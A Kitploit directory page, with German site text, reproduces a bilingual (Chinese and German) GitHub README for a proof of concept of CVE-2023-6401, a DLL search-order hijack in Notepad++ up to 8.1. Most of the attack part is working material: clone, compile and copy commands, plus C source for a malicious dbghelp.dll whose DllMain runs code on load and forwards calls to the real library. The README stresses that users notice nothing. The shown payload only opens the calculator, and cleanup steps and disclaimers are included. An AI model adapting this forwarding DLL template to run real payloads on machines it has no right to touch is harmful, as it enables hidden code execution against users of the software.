Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-6401 — CVE-2023-6401 is a DLL hijacking vulnerability that allows attackers to execute arbitrary code by placing a malicious `dbghelp.dll` file in the application directory. This project demonstrates the vulnerability and provides a reproducible PoC. | Kitploit
Tools/GitHubGitHub/mekitoci/cve-2023-6401
Vulnerability AnalysisExploitationLearning & EducationPayload DevelopmentBinary Exploitation
GitHubmekitoci/cve-2023-6401

CVE-2023-6401

CVE-2023-6401 is a DLL hijacking vulnerability that allows attackers to execute arbitrary code by placing a malicious `dbghelp.dll` file in the application directory. This project demonstrates the vulnerability and provides a reproducible PoC.

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-6401 · DLL-Hijacking Proof-of-Concept

License Platform

Englisch | 中文


中文

⚠️ 重要聲明:僅供安全研究和教育目的使用

NotePad++ ≤ 8.1 DLL劫持漏洞的概念驗證。通過在應用程式目錄放置惡意 dbghelp.dll 來執行任意程式碼。

快速開始

root@kitploit:~
# 下載專案
git clone https://github.com/mekitoci/CVE-2023-6401.git

# 進入專案目錄
cd CVE-2023-6401-main

# 編譯DLL
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows

# 部署到NotePad++目錄
copy dbghelp.dll "C:\Program Files\Notepad++\"

# 執行測試
"C:\Program Files\Notepad++\notepad++.exe"

# 立即清理
del "C:\Program Files\Notepad++\dbghelp.dll"

預期結果: 計算器彈出 + 訊息框顯示 + NotePad++正常啟動

PoC result

漏洞詳情

原理

Windows按以下順序載入DLL:

  1. 應用程式目錄(最高優先級)
  2. System32目錄
  3. Windows目錄
  4. 當前目錄
  5. PATH環境變數

NotePad++啟動時會載入 dbghelp.dll,通過在應用程式目錄放置同名惡意DLL,可在系統DLL載入前執行程式碼。

技術實現

核心代碼

root@kitploit:~
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // 執行惡意程式碼
        WinExec("calc.exe", SW_SHOW);
        MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);

        // 載入真實DLL並轉發API調用
        char systemPath[MAX_PATH];
        GetSystemDirectoryA(systemPath, MAX_PATH);
        strcat(systemPath, "\\dbghelp.dll");
        realDbghelp = LoadLibraryA(systemPath);
        
        if (realDbghelp)
            realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
        break;
    }
    return TRUE;
}

關鍵特點

  • 搜尋順序劫持:利用Windows DLL搜尋機制
  • API轉發:載入真實DLL並轉發函式調用,保持應用程式正常運行
  • 隱蔽性:用戶察覺不到異常

編譯選項

MinGW (推薦)

root@kitploit:~
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows

清理

root@kitploit:~
# 移除惡意DLL
del "C:\Program Files\Notepad++\dbghelp.dll"

# 確認移除
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "清理完成"

參考資料

  • CVE-2023-6401
  • Microsoft DLL搜尋順序
  • MITRE ATT&CK T1574.001

免責聲明

本專案僅供教育和安全研究使用。使用者需對遵守適用法律法規承擔全部責任。


Englisch

⚠️ WICHTIGER HAFTUNGSAUSSCHLUSS: Nur für Sicherheitsforschung und Bildungszwecke

Proof-of-Concept für die DLL-Hijacking-Schwachstelle in NotePad++ ≤ 8.1. Ausführung beliebigen Codes durch Platzieren einer schädlichen dbghelp.dll im Anwendungsverzeichnis.

Schnellstart

root@kitploit:~
# Projekt klonen
git clone https://github.com/mekitoci/CVE-2023-6401.git

# In das Projektverzeichnis wechseln
cd CVE-2023-6401-main

# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows

# In das NotePad++-Verzeichnis deployen
copy dbghelp.dll "C:\Program Files\Notepad++\"

# Test ausführen
"C:\Program Files\Notepad++\notepad++.exe"

# Sofortige Bereinigung
del "C:\Program Files\Notepad++\dbghelp.dll"

Erwartetes Ergebnis: Rechner wird geöffnet + Meldungsbox wird angezeigt + NotePad++ startet normal

PoC result

Schwachstellendetails

Mechanismus

Windows lädt DLLs in der folgenden Reihenfolge:

  1. Anwendungsverzeichnis (höchste Priorität)
  2. System32-Verzeichnis
  3. Windows-Verzeichnis
  4. Aktuelles Verzeichnis
  5. PATH-Umgebungsvariable

NotePad++ lädt beim Start dbghelp.dll. Durch Platzieren einer schädlichen DLL mit demselben Namen im Anwendungsverzeichnis kann Code ausgeführt werden, bevor die System-DLL geladen wird.

Technische Umsetzung

Kerncode

root@kitploit:~
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // Schädlichen Code ausführen
        WinExec("calc.exe", SW_SHOW);
        MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);

        // Echte DLL laden und API-Aufrufe weiterleiten
        char systemPath[MAX_PATH];
        GetSystemDirectoryA(systemPath, MAX_PATH);
        strcat(systemPath, "\\dbghelp.dll");
        realDbghelp = LoadLibraryA(systemPath);
        
        if (realDbghelp)
            realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
        break;
    }
    return TRUE;
}

Hauptmerkmale

  • Search-Order-Hijacking: Nutzt den Windows-DLL-Suchmechanismus aus
  • API-Weiterleitung: Lädt die echte DLL und leitet Funktionsaufrufe weiter, um den normalen Betrieb der Anwendung aufrechtzuerhalten
  • Tarnung: Benutzer bemerken keine Auffälligkeiten

Kompilierungsoptionen

MinGW (Empfohlen)

root@kitploit:~
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows

Bereinigung

root@kitploit:~
# Entfernen der schädlichen DLL
del "C:\Program Files\Notepad++\dbghelp.dll"

# Entfernung bestätigen
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "Bereinigung abgeschlossen"

Referenzen

  • CVE-2023-6401
  • Microsoft DLL-Suchreihenfolge
  • MITRE ATT&CK T1574.001

Haftungsausschluss

Dieses Projekt dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Die Benutzer sind allein für die Einhaltung der geltenden Gesetze und Vorschriften verantwortlich.

Tool herunterladen
項目詳情
CVE編號CVE-2023-6401
影響版本NotePad++ ≤ 8.1
漏洞類型DLL劫持 / 搜尋路徑劫持
影響執行任意程式碼
前提條件應用程式目錄寫入權限
ElementDetails
CVE-NummerCVE-2023-6401
Betroffene VersionenNotePad++ ≤ 8.1
SchwachstellentypDLL-Hijacking / Search-Order-Hijacking
AuswirkungAusführung beliebigen Codes
VoraussetzungenSchreibberechtigung im Anwendungsverzeichnis